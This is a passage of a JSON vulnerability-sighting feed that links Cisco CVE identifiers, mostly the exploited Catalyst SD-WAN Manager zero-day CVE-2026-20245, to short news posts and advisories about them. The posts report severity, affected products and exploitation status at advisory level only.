"d1920f15-6254-49bf-94e5-24ed34105631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mnjlewbuve2y", "content": "Critical Cisco SD-WAN Security Shock: Root-Level Privilege Escalation Opens Door to Full Network Takeover +\u00a0Video\n\nA Silent but Severe Threat Emerging Inside Enterprise SD-WAN Infrastructure Cisco has revealed a high-severity security vulnerability, CVE-2026-20245 (CVSS 7.8), affecting Cisco\u2026", "creation_timestamp": "2026-06-05T07:09:01.494527Z"}, {"uuid": "a0ecf9f7-918a-4c6b-a710-02974004398b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20245", "type": "seen", "source": "https://bsky.app/profile/blindthoughts.bsky.social/post/3mnjlrmx4mc2r", "content": "Cisco Catalyst SD-WAN Zero-Day Actively Exploited \u2014 No Patch Yet\n\nhttps://blindthoughts.com/cisco-sd-wan-zero-day-cve-2026-20245-exploited\n\n#cisco #zeroday #sdwan #vulnerability #networksecurity", "creation_timestamp": "2026-06-05T07:16:07.468653Z"}, {"uuid": "e9970595-5c01-4b59-abf8-f8511fbaf8ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/BleepingComputer/24827", "content": "\u200aCisco warns of unpatched SD-WAN zero-day exploited in attacks\n\nOn Thursday, Cisco warned of a high-severity, unpatched zero-day in the Cisco Catalyst SD-WAN Manager (tracked as CVE-2026-20245) actively\u00a0exploited in attacks enabling root privilege escalation. [...]\n\nhttps://www.bleepingcomputer.com/news/security/new-cisco-sd-wan-flaw-exploited-in-zero-day-attacks-to-gain-root/", "creation_timestamp": "2026-06-05T06:43:37.000000Z"}, {"uuid": "ba2dcaf3-4591-4065-b95d-ddb8c76898d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mnjphtjbx62d", "content": "\ud83d\udea8 [CRITICAL INFRASTRUCTURE ALERT]: CVE-2026-20230\n\n\u2022 CVE ID: CVE-2026-20230\n\u2022 CVSS Score: 8.6 (High)\n\u2022 Affected: Cisco Patches\n\nhttps://securitycyber.uk", "creation_timestamp": "2026-06-05T08:22:13.501961Z"}, {"uuid": "53c74f98-d8bc-4055-80ea-292a06fc255a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mnjqb46v2j2p", "content": "\ud83d\udea8 [CRITICAL INFRASTRUCTURE ALERT]: CVE-2026-20230\n\n\u2022 CVE ID: CVE-2026-20230\n\u2022 CVSS Score: 8.6 (High)\n\u2022 Affected: Cisco Patches\n\nhttps://securitycyber.uk", "creation_timestamp": "2026-06-05T08:36:21.453194Z"}, {"uuid": "4a1ee7d1-7cd0-4c4e-8dc2-f26fecbe0517", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mnjr3i2u422q", "content": "Cisco SD-WAN 0-day exploited, no patch available (CVE-2026-20245)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/06/05/c...\n\n#cybersecurity #cybersecuritynews #SDWAN #APT #=day #exploit @cisco.com @mandiant.com", "creation_timestamp": "2026-06-05T08:51:10.171089Z"}, {"uuid": "3f2d7ea1-f834-422f-be5a-008139825be0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mnjr3i2u422q", "content": "Cisco SD-WAN 0-day exploited, no patch available (CVE-2026-20245)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/06/05/c...\n\n#cybersecurity #cybersecuritynews #SDWAN #APT #=day #exploit @cisco.com @mandiant.com", "creation_timestamp": "2026-06-05T08:51:10.158991Z"}, {"uuid": "95eba8c9-6cc4-4328-8c4a-44f1ba88a82d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mnjrgv5yox2o", "content": "Cisco SD-WAN 0-day\u8106\u5f31\u6027\u304c\u60aa\u7528\u4e2d\u3001\u30d1\u30c3\u30c1\u306a\u3057\uff08CVE-2026-20245\uff09\n\nCisco Catalyst SD-WAN Manager\u306b\u5b58\u5728\u3059\u308b0-day\u6a29\u9650\u6607\u683c\u8106\u5f31\u6027\uff08CVE-2026-20245\uff09\u304c\u653b\u6483\u8005\u306b\u60aa\u7528\u3055\u308c\u3066\u304a\u308a\u3001Cisco\u306f\u3044\u307e\u3060\u30d1\u30c3\u30c1\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u3066\u3044\u307e\u305b\u3093\u3002 \u300c\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u306b\u306f\u3001\u653b\u6483\u8005\u304c\u5bfe\u8c61\u30b7\u30b9\u30c6\u30e0\u3067netadmin\u6a29\u9650\u3092\u6301\u3063\u3066\u3044\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u305d", "creation_timestamp": "2026-06-05T08:57:29.414281Z"}, {"uuid": "289d4278-a8a4-46c0-81da-55eaaad7b507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mnjrgv5yox2o", "content": "Cisco SD-WAN 0-day\u8106\u5f31\u6027\u304c\u60aa\u7528\u4e2d\u3001\u30d1\u30c3\u30c1\u306a\u3057\uff08CVE-2026-20245\uff09\n\nCisco Catalyst SD-WAN Manager\u306b\u5b58\u5728\u3059\u308b0-day\u6a29\u9650\u6607\u683c\u8106\u5f31\u6027\uff08CVE-2026-20245\uff09\u304c\u653b\u6483\u8005\u306b\u60aa\u7528\u3055\u308c\u3066\u304a\u308a\u3001Cisco\u306f\u3044\u307e\u3060\u30d1\u30c3\u30c1\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u3066\u3044\u307e\u305b\u3093\u3002 \u300c\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u306b\u306f\u3001\u653b\u6483\u8005\u304c\u5bfe\u8c61\u30b7\u30b9\u30c6\u30e0\u3067netadmin\u6a29\u9650\u3092\u6301\u3063\u3066\u3044\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u305d", "creation_timestamp": "2026-06-05T08:57:29.399155Z"}, {"uuid": "9aff5da6-2966-427c-a2ee-a09a500059f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mnjrjn2qm42f", "content": "\ud83d\udea8 [CRITICAL INFRASTRUCTURE ALERT]: CVE-2026-20230\n\n\u2022 CVE ID: CVE-2026-20230\n\u2022 CVSS Score: 8.6 (High)\n\u2022 Affected: Unified CM\n\nhttps://securitycyber.uk", "creation_timestamp": "2026-06-05T08:59:01.320431Z"}, {"uuid": "f512d3a5-dfac-49b9-9766-13df03f2bfe1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mnjrjn2qm42f", "content": "\ud83d\udea8 [CRITICAL INFRASTRUCTURE ALERT]: CVE-2026-20230\n\n\u2022 CVE ID: CVE-2026-20230\n\u2022 CVSS Score: 8.6 (High)\n\u2022 Affected: Unified CM\n\nhttps://securitycyber.uk", "creation_timestamp": "2026-06-05T08:59:01.326322Z"}, {"uuid": "9c1119fa-4fb4-4ee5-a900-2f357ee69d1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0175", "content": "", "creation_timestamp": "2026-06-05T01:09:37.000000Z"}, {"uuid": "1b82ab63-083a-44a1-9a85-ef2b4cc06123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0175", "content": "", "creation_timestamp": "2026-06-05T01:09:37.000000Z"}, {"uuid": "67948980-39e2-4e92-bd7b-6154af0fbd5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1900", "content": "", "creation_timestamp": "2026-06-04T21:00:00.000000Z"}, {"uuid": "0a5b6955-d2ce-4008-9324-7ed9b3373157", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117043564090502141", "content": "Broadcom has addressed several vulnerabilities published yesterday, all of them ranked high-severity https://support.broadcom.com/web/ecx/security-advisory #Broadcom \nCisco has a new advisory for a critical vulnerability that was published yesterday:\nCRITICAL: CVE-2026-20079: Cisco Secure Firewall Management Center Software Authentication Bypass Vulnerability  \nThis addresses a vulnerability that was first published on July 29:\nHigh: CVE-2026-20316: Cisco Secure Firewall Management Center Software Static Credential Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-08-05T15:17:36.468088Z"}, {"uuid": "aabe34dd-236f-425a-84a6-86f9519d9e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117043564090502141", "content": "Broadcom has addressed several vulnerabilities published yesterday, all of them ranked high-severity https://support.broadcom.com/web/ecx/security-advisory #Broadcom \nCisco has a new advisory for a critical vulnerability that was published yesterday:\nCRITICAL: CVE-2026-20079: Cisco Secure Firewall Management Center Software Authentication Bypass Vulnerability  \nThis addresses a vulnerability that was first published on July 29:\nHigh: CVE-2026-20316: Cisco Secure Firewall Management Center Software Static Credential Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-08-05T15:17:36.520415Z"}, {"uuid": "6ec2b2b2-73ab-4b87-868e-adfe771068a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3msljzec7gk2j", "content": "CVE-2026-20304 is trending. Hype score 4, currently #4 on cvemon.\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Catalyst SD-WAN engineering team has conducted a comprehensive internal security review.\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20304", "creation_timestamp": "2026-08-08T16:58:06.246760Z"}, {"uuid": "857038c1-fab2-4aa2-beaa-39d236efaf7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mnjwts4z7224", "content": "Cisco SD-WAN 0-day exploited, no patch available (CVE-2026-20245)\n\nwww.helpnetsecurity.com/2026/06/05/c...\n\n#Kyberturvallisuus #Haavoittuvuus #AktiivinenHyv\u00e4ksik\u00e4ytt\u00f6", "creation_timestamp": "2026-06-05T10:34:14.451817Z"}, {"uuid": "2909b904-adc9-4292-81be-a0fbd5656084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mnjwts4z7224", "content": "Cisco SD-WAN 0-day exploited, no patch available (CVE-2026-20245)\n\nwww.helpnetsecurity.com/2026/06/05/c...\n\n#Kyberturvallisuus #Haavoittuvuus #AktiivinenHyv\u00e4ksik\u00e4ytt\u00f6", "creation_timestamp": "2026-06-05T10:34:14.433445Z"}, {"uuid": "75f308bc-b071-4fde-96dd-c998362c2cdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnjxhtpopp2r", "content": "Cisco warns CVE-2026-20245 is an actively exploited zero-day in Cisco Catalyst SD-WAN Manager, enabling root access via crafted file upload across on-prem, cloud, and FedRAMP deployments. #Cisco #SDWAN #CVE202620245", "creation_timestamp": "2026-06-05T10:45:24.566997Z"}, {"uuid": "688da37d-2573-4778-b08d-fb12f334fdde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnjxhtpopp2r", "content": "Cisco warns CVE-2026-20245 is an actively exploited zero-day in Cisco Catalyst SD-WAN Manager, enabling root access via crafted file upload across on-prem, cloud, and FedRAMP deployments. #Cisco #SDWAN #CVE202620245", "creation_timestamp": "2026-06-05T10:45:24.580436Z"}, {"uuid": "008e5a08-a55a-4a5e-9817-77c50d1d1d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnjycqn2qp2y", "content": "Cisco warns of CVE-2026-20245, an unpatched Cisco Catalyst SD-WAN Manager flaw exploited in the wild. Authenticated attackers with netadmin access can run commands as root via crafted files. #Cisco #SDWAN #CVE2026", "creation_timestamp": "2026-06-05T11:00:27.377485Z"}, {"uuid": "9d8671b4-447e-40fa-8e59-230db61f755a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mnjyjwsw7g2h", "content": "A DarkWeb threat actor Claim Cyber Disruption as Cisco Zero-Day CVE-2026-20245 and Play Ransomware Strike Expose Fragile Enterprise Defenses +\u00a0Video\n\nBreaking Cyber Stability: A Dual-Front Exposure in Critical Infrastructure Security The latest wave of cybersecurity alerts has painted a stark\u2026", "creation_timestamp": "2026-06-05T11:04:28.226338Z"}, {"uuid": "b3282660-45bf-4ebd-a8ba-2cc0136b0193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnjycqn2qp2y", "content": "Cisco warns of CVE-2026-20245, an unpatched Cisco Catalyst SD-WAN Manager flaw exploited in the wild. Authenticated attackers with netadmin access can run commands as root via crafted files. #Cisco #SDWAN #CVE2026", "creation_timestamp": "2026-06-05T11:00:27.390144Z"}, {"uuid": "7f86c9d2-2af6-4d66-bcf0-9953a197231b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mnjyjwsw7g2h", "content": "A DarkWeb threat actor Claim Cyber Disruption as Cisco Zero-Day CVE-2026-20245 and Play Ransomware Strike Expose Fragile Enterprise Defenses +\u00a0Video\n\nBreaking Cyber Stability: A Dual-Front Exposure in Critical Infrastructure Security The latest wave of cybersecurity alerts has painted a stark\u2026", "creation_timestamp": "2026-06-05T11:04:28.241156Z"}, {"uuid": "acdb41ad-400f-4900-a4a3-1d9811bf01bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mnk356nsad2m", "content": "Critical Cisco Unified CM Vulnerability (CVE-2026-20230): Unauthenticated File-Write Leads to Root \u2013 Patch Immediately +\u00a0Video\n\nIntroduction A newly disclosed critical vulnerability in Cisco Unified Communications Manager (Unified CM) could allow an unauthenticated, remote attacker to exploit a\u2026", "creation_timestamp": "2026-06-05T11:51:02.380940Z"}, {"uuid": "145d6dbf-e1db-433f-b85a-f3b195e37719", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/true_secator/8282", "content": "Cisco \u0432\u043d\u043e\u0432\u044c \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 0-day \u0432 Cisco Catalyst SD-WAN Manager (CVE-2026-20245\u00a0), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n0-day \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0442\u0438\u043f\u044b \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435, Cisco SD-WAN Cloud-Pro, Cisco SD-WAN Cloud (\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0435 Cisco) \u0438 Cisco SD-WAN \u0434\u043b\u044f \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 (FedRAMP).\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0437\u0430\u044f\u0432\u0438\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root.\n\n\u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043f\u0440\u0430\u0432\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 CVE-2026-20182 \u0438\u043b\u0438 CVE-2026-20127.\n\nCisco \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e\u0431 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438, \u043d\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u0432\u0448\u0435\u043c\u0443\u0441\u044f \u043d\u0430 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u0420\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u043a\u0430\u043a SD-WAN vManage, \u044d\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u044c\u044e \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u043e 6000 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Catalyst SD-WAN \u0441 \u0435\u0434\u0438\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\nCisco (PSIRT) \u0443\u0437\u043d\u0430\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 CVE-2026-20245 \u0432 \u0438\u044e\u043d\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0434\u043e\u0447\u0435\u0440\u043d\u044f\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Google \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, Mandiant, \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043d\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438\u0441\u044c IOCs, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0449\u0438\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0444\u0430\u0439\u043b /var/log/scripts.log \u043d\u0430 SD-WAN \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b vSmart \u0434\u043b\u044f 